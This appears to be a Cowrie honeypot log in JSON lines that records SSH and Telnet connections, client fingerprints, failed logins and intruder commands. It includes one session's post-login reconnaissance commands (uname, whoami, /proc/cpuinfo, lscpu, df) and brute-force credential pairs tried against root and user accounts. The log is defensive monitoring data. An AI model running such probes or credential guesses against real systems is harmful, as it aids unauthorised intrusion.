{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.964663Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.968462Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.088812Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.385494Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.388576Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.502719Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52870,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8951165c360","protocol":"telnet","message":"New connection: 50.6.8.71:52870 (10.17.0.5:23) [session: c8951165c360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.571068Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.810628Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.813951Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:07.931094Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.206352Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.210003Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.328650Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.613066Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.616116Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.728276Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.989702Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:08.993257Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.106342Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.369524Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.372746Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.487747Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.762692Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.766297Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.880823Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:09.886197Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.237","src_port":31656,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab8c6355f43","protocol":"telnet","message":"New connection: 66.132.224.237:31656 (10.17.0.5:23) [session: aab8c6355f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:11.452028Z"}
{"eventid":"cowrie.session.closed","duration":15.028329849243164,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:19.048631Z","src_ip":"66.132.195.99","session":"6cc610d4303c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.99","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d14a1ef24ff","protocol":"telnet","message":"New connection: 66.132.195.99:33336 (10.17.0.5:23) [session: 0d14a1ef24ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:22.074496Z"}
{"eventid":"cowrie.session.closed","duration":12.229044198989868,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:23.680957Z","src_ip":"66.132.224.237","session":"aab8c6355f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.999964475631714,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:25.074345Z","src_ip":"66.132.195.99","session":"0d14a1ef24ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46442,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d0939dae168","protocol":"ssh","message":"New connection: 193.37.70.224:46442 (10.17.0.5:22) [session: 0d0939dae168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:27.304969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:27.313027Z","src_ip":"193.37.70.224","session":"0d0939dae168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:27.404064Z","src_ip":"193.37.70.224","session":"0d0939dae168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:27.672720Z","src_ip":"193.37.70.224","session":"0d0939dae168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.99","src_port":33358,"dst_ip":"10.17.0.5","dst_port":23,"session":"45afe21bdbce","protocol":"telnet","message":"New connection: 66.132.195.99:33358 (10.17.0.5:23) [session: 45afe21bdbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:28.098205Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:28.765632Z","src_ip":"193.37.70.224","session":"0d0939dae168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.000437259674072,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:38.098536Z","src_ip":"66.132.195.99","session":"45afe21bdbce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8684b88e39","protocol":"ssh","message":"New connection: 109.91.4.177:64076 (159.203.135.109:22) [session: 8f8684b88e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:38.801724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:38.806353Z","src_ip":"109.91.4.177","session":"8f8684b88e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:38.914596Z","src_ip":"109.91.4.177","session":"8f8684b88e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"000000","message":"login attempt [user/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:39.789143Z","src_ip":"109.91.4.177","session":"8f8684b88e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:40.897377Z","src_ip":"109.91.4.177","session":"8f8684b88e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.876582860946655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:43.447544Z","src_ip":"50.6.8.71","session":"c8951165c360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.125","src_port":44528,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a35859106bd","protocol":"ssh","message":"New connection: 208.87.243.125:44528 (10.17.0.5:22) [session: 9a35859106bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:51.510849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:51.515614Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:51.852426Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:54:8f:02:62:5a:3c:20:9f:19:27:cb:75:a4:b1:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvJPffGCksrX6JxX8vUuXqPdAvcup+7xvqR6snHQK0xj85NHHFuJKsiR3AzRvn71efTaUdYYMXf47T6Quxlzy3FwyHMiPA8Oh8J+LOLRrC6b9r4EzoqUUa5CyewIIQwCPPZFXioIcaGI6MuOFiYEiDVMDZceLEgZ4fIrQXSHcCVMxe7sBg9P1khgMn5BtrFeYEMKmjPGfKCLecpMSmcxDNsHNbsY/rH8mAojVXUycVWyRMrsHXmI+4WviTXG0z58MNrHemw2rHALsa7ZE4wp4B4G8g45opzobTuDSha8gpZ0wKuDf3IPGGfjuFuR1QKAQMP6uYZqstP/TDuGvZODaBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:54:8f:02:62:5a:3c:20:9f:19:27:cb:75:a4:b1:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:54.370806Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:54:8f:02:62:5a:3c:20:9f:19:27:cb:75:a4:b1:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvJPffGCksrX6JxX8vUuXqPdAvcup+7xvqR6snHQK0xj85NHHFuJKsiR3AzRvn71efTaUdYYMXf47T6Quxlzy3FwyHMiPA8Oh8J+LOLRrC6b9r4EzoqUUa5CyewIIQwCPPZFXioIcaGI6MuOFiYEiDVMDZceLEgZ4fIrQXSHcCVMxe7sBg9P1khgMn5BtrFeYEMKmjPGfKCLecpMSmcxDNsHNbsY/rH8mAojVXUycVWyRMrsHXmI+4WviTXG0z58MNrHemw2rHALsa7ZE4wp4B4G8g45opzobTuDSha8gpZ0wKuDf3IPGGfjuFuR1QKAQMP6uYZqstP/TDuGvZODaBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:54.374599Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":3131,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b1194bcbd39","protocol":"ssh","message":"New connection: 201.77.124.248:3131 (159.203.135.109:22) [session: 9b1194bcbd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.028651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.033717Z","src_ip":"201.77.124.248","session":"9b1194bcbd39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:33:16:55:c5:f7:79:c1:a5:a4:41:31:7a:e5:34:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCWNz6uZiCEGZTo5OJTrb/iiBSkQHegLX8gNYCejqxfExrFpo532jaDpadBtgJGTj1JMAW2yx6NGB7/RqpoOn06zGGJw3e3AKDkPO4q5uEoMnLIachH4zwBba33UzzSVVrY6TIrWb+J93QhGr5LPFImF6nH9o2RttD6bX4exhsG806KrMrKb+Ly0d0oyxebPaj6V9O0ioHc2tAFr4G+RkEhJO8mPfycO4dg8Bg3wmrC/v5cACVCOelccmZTSgZkKzdONxHG0ikPAjHJDSwUVk1+UsRp/h1lUWzSCdrDLpRauHWpYQwduwUk89YUX3i8O1Cc2PK47x+XKowdDB4Ug4V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:33:16:55:c5:f7:79:c1:a5:a4:41:31:7a:e5:34:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.077405Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
